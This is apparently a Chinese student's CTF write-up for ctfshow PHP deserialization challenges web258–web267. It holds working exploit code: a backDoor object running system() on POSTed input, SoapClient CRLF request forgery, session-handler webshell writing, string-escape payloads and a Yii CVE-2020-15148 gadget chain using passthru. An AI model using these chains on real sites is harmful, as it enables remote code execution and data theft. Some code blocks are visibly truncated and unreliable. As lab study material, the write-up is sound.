web258(skip before)
题目源码:
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
正则表达式不允许o:
和c:
通过
解决方法:将字符串中的o:
替换为o:+
绕过
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code='system($_POST["shell"]);';
}
$a=new ctfShowUser();
$res=serialize($a);
$res=str_replace('O:','O:+',$res);
$res=str_replace('C:','C:+',$res);
echo(urlencode($res));
?>
因为cookie会被;
截断,使用前要url编码一下
然后POST传入命令
web259 SoapClint原生类反序列化
i chi - soapclint是什么?
SoapClient是一个功能强大的PHP类,主要用于调用Web服务。 与其他Web服务调用工具相比,它具有易用性、可定制性和灵活性的优势。
ni - 如何利用?
有的时候我们会遇到只给了反序列化点,但是没有POP链的情况。可以尝试利用php内置类来进行反序列化。
https://cloud.tencent.com/developer/article/1878220
在本题的环境当中,由于使用了Cloudflare代理导致,Cloudflare 会将 HTTP 代理的 IP 地址附加到这个标头,在两次调用array_pop后我们取得的始终是固定的服务器IP。 https://www.cnblogs.com/meng-han/p/16626675.html
普通的修改请求头是无法绕过的
所以我们使用soapclint的__call()
函数伪造请求头
在index.php
调用起soapclint.__call()
伪造请求头访问flag.php,其file_put_contents()
会将flag放入flag.txt
文件
soapclint类:
class SoapClient {
/* Methods */
public __construct(?string $wsdl, array $options = [])
public __call(string $name, array $args): mixed
public __doRequest(
string $request,
string $location,
string $action,
int $version,
bool $oneWay = false
): ?string
public __getCookies(): array
public __getFunctions(): ?array
public __getLastRequest(): ?string
public __getLastRequestHeaders(): ?string
public __getLastResponse(): ?string
public __getLastResponseHeaders(): ?string
public __getTypes(): ?array
public __setCookie(string $name, ?string $value = null): void
public __setLocation(?string $location = null): ?string
public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
public __soapCall(
string $name,
array $args,
?array $options = null,
SoapHeader|array|null $inputHeaders = null,
array &$outputHeaders = null
): mixed
}
调用构造该类对象需要两个参数(?string $wsdl, array $options = [])
wsdl:https://blog.csdn.net/yhahaha_/article/details/93716263 传入
NULL
即可options传入构造的请求头
CRLF:什么是CRLF,其实就是回车和换行造成的漏洞,十六进制为0x0d,0x0a,在HTTP当中header和body之间就是两个CRLF分割的,所以如果我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样就能注入一些会话cookie和html代码,所以crlf injection 又叫做 HTTP Response Splitting。
在构造中会用到
san - 构造
先在本地试试!
在 SOAP 客户端(soapclient)中,uri 通常指的是 Uniform Resource Identifier(统一资源标识符)。在 SOAP 中,uri 通常指定用于标识 Web 服务的命名空间(namespace)。这个命名空间可以在 SOAP 消息中的 XML 文档顶部声明,以确保在消息中使用的元素和属性能够被正确地解释和处理。
运行该代码,同时nc -lvnp 7779
可以看到SOAPAction: "bbb#not_exists_function"
看见了bbb出现在其中,说明SOAPAction
的值可控制,可以使用CRLF
参考:https://zhuanlan.zhihu.com/p/80918004
将代码改为:
可以看到成功换行,注意这里uri
的内容要用双引号括起来
可惜的是,Content-Type和POST内容仍然无法改变
但ua在Content-Type前面 user_agent同样可以注入CRLF,控制Content-Type的值
为什么要改变Content-Type
的值?
Content-Type: application/x-www-form-urlencoded 是一种用于指定 HTTP 请求或响应中包含的数据的类型的标头。具体来说,它指示消息主体中的数据采用了 URL 编码格式。 这种类型的内容通常用于在 HTTP 请求中发送表单数据。当你在 HTML 表单中提交数据时,浏览器通常会将表单字段的名称和值编码为 URL 编码格式,并将它们作为消息主体发送到服务器。服务器在接收到这些数据后,会根据 Content-Type 标头指定的类型来解析数据。(也就是会上传表单,是进行POST传入的条件)
Content-Type: text/xml :传xml的
尝试控制token
<?php
$target = 'http://127.0.0.1:7779';
$post_string = 'token=ctfshow';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'ctfshow^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
//strlen自动生成Content-Length
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
//将^^替换为请求头中的换行
$aaa = str_replace('&','&',$aaa);
//我把它注释掉也不影响什么。。。
echo $aaa;
$c = unserialize($aaa);
$c->not_exists_function();
?>
可以看到token的值成功传入
使用SoapClient反序列化+CRLF可以生成任意POST请求。 Deserialization + __call + SoapClient + CRLF = SSRF
回到题目
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
这里使用了array_pop
函数弹出数组最后一个单元
问题不大,多传几个127.0.0.1
就行
更简洁的:
<?php
?>';
}
}
echo urlencode(serialize(new ctfshowvip()));
web262
message.php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
index.php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
可以看到逻辑是将得到的fmt
传入msg,序列化、base64编码后放入cookie
如果在message.php
界面检测到反序列化后的token是admin
就放出flag
cookie是可控的,所以:
web263
i chi - 新知
php在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取_SESSION数据进行序列化和反序列化。
php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值 php 键名+竖线(|)+经过serialize()函数处理过的值 php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
ni - 解题
啥都没有,扫网站
发现个源码zip,下载
index.php
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>
发现limit
可以被我们控制 (limti
?
session_start()
函数用于启动会话
在check.php
中require了inc.php
其中发现User
类具有魔术方法可以写入文件
ini_set('session.serialize_handler', 'php');
使得在inc.php
中,php 序列化器使用 PHP 内置的 serialize()
和 unserialize()
函数来处理数据。
这里就是切入点
正常来说在index.php页面存储的session不能正常在check.php和inc/inc.php进行反序列化,但是如果在属性的值中加入|的话 ,在check.php和inc/inc.php页面反序列化的时候|前面的会被看做键名,会对|后面的进行反序列化
<?php
?>';
//写入文件的内容
// public $status;
// function setStatus($s){
// $this->status=$s;
// }
// function __destruct(){
// file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
// }
}
echo urlencode(base64_encode("|".serialize(new User)));
//输出时将序列化代码放到|之后再进行base64编码
首先在index.php修改cookie
limit
后即为我们生成的序列化代码,访问后limit的内容被以php_serialize
的方式放入session
之后用这个cookie访问check.php
或inc/inc.php
,其中包含的sessio_start()
方法会读取session文件,而我们知道inc.php
的反序列化是用php
内置的序列化和反序列化函数进行的,以此激发User
类的魔术方法,生成包含一句话木马的文件
多尝试几次(反正我是
访问log-1.php
web264 PHP反序列化字符逃逸
i chi - 原理
https://blog.csdn.net/qq_45521281/article/details/107135706 讲的很清晰
<?php
function filter($str){
return str_replace('bb', 'ccc', $str);
}
class A{
public $name='aaaa';
public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";$res=filter(serialize($AA));
$c=unserialize($res);
echo $c->pass;
?>
输出结果:
O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}
filter
函数会将序列化字符串中的bb转换为ccc
根据序列化字符串的特点,会以;}
结束序列化的读取
所以如果我们把”;}带入需要反序列化的字符串中(除了结尾处),就能让反序列化提前闭合结束,后面的内容就丢弃了。
若我们将代码修改为
尝试运行会导致失败
name
的长度在序列化时为6个,经过filter
的过滤后变为了7个字符,name
此时的值是aaaacc
,最后的c
无法读取,这样就形成了字符串逃逸
当我们添加多个bb,每添加一个bb我们就能逃逸一个字符,那我们将逃逸的字符串的长度填充成我们要反序列化的代码长度的话那就可以控制反序列化的结果以及类里面的变量值了。
若我们想将pass
的内容改为hacker
首先将序列化字符串后半部分(包含pass的内容)修改后拿出来赋值给name
public $name='";s:4:"pass";s:6:"hacker";}';
//在末尾处添加;},达到提前闭合的效果
之后我们知道每一个bb
会造成一个字符的逃逸,而name
的内容有27个字符
所以放27个bb
输出结果,可以看到pass
的值我们已成功修改
如果不加27个bb
的话: 无法成功提前闭合,因为有个"
ni - 解题
原序列化
O:7:"message":4:{s:4:"from";N;s:3:"msg";N;s:2:"to";N;s:5:"token";s:4:"user";}
算上闭合;s:5:"token";s:5:"admin";
共计27个字符,前面加27个fuck
得到
Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7czoxMzQ6ImZ1Y2tmdWNrZnVja2Z1Y2tmdWNrZnVja2Z1Y2tmdWNrZnVja2Z1Y2tmdWNrZnVja2Z1Y2tmdWNrZnVja2Z1Y2tmdWNrZnVja2Z1Y2tmdWNrZnVja2Z1Y2tmdWNrZnVja2Z1Y2tmdWNrZnVjaztzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9IjtzOjU6InRva2VuIjtzOjQ6InVzZXIiO30=
payload:
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
/
payload后,访问message.php
,在cookie
中添加msg
之后输出flag
web265 浅拷贝
https://juejin.cn/post/6844904197595332622
浅拷贝是创建一个新对象,这个对象有着原始对象属性值的一份精确拷贝。如果属性是基本类型,拷贝的就是基本类型的值,如果属性是引用类型,拷贝的就是内存地址 ,所以如果其中一个对象改变了这个地址,就会影响到另一个对象。
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
根据浅拷贝的知识点,只要让两个属性指向同一片内存,那么即使token
被赋予随机md5值,二者也会是相等得了
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->token='a';
$this->password =&$this->token;
}
}
$a=new ctfshowAdmin();
echo urlencode(serialize($a));
web266
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
$cs
是通过POST方式传入的,所以先抓包
通过分析代码我们知道检测到类名就会报错
i chi 大小写
所以主要考绕过正则
一眼顶针发现大小写没过滤
ni 破坏序列化字符串结构
当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功。但是,由于你给的是一个畸形的序列化字符串,总之他是不标准的,所以PHP对这个畸形序列化字符串得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法。
- 改掉属性的个数
- 删掉结尾的}
web267
admin作为账号密码登录
一个个翻源码发现about提示view-source
提示了后门地址
这里提供了反序列化入口
结合Yii框架漏洞进行反序列化
CVE-2020-15148
https://xz.aliyun.com/t/8307
复现时注意Yii版本
根据文章构造exp:
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'tac /flag';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
payload:
url/?r=//backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6ODoicGFzc3RocnUiO3M6MjoiaWQiO3M6OToidGFjIC9mbGFnIjt9aToxO3M6MzoicnVuIjt9fX19
怎么期中这么快
复习期中了。。。剩下的之后在做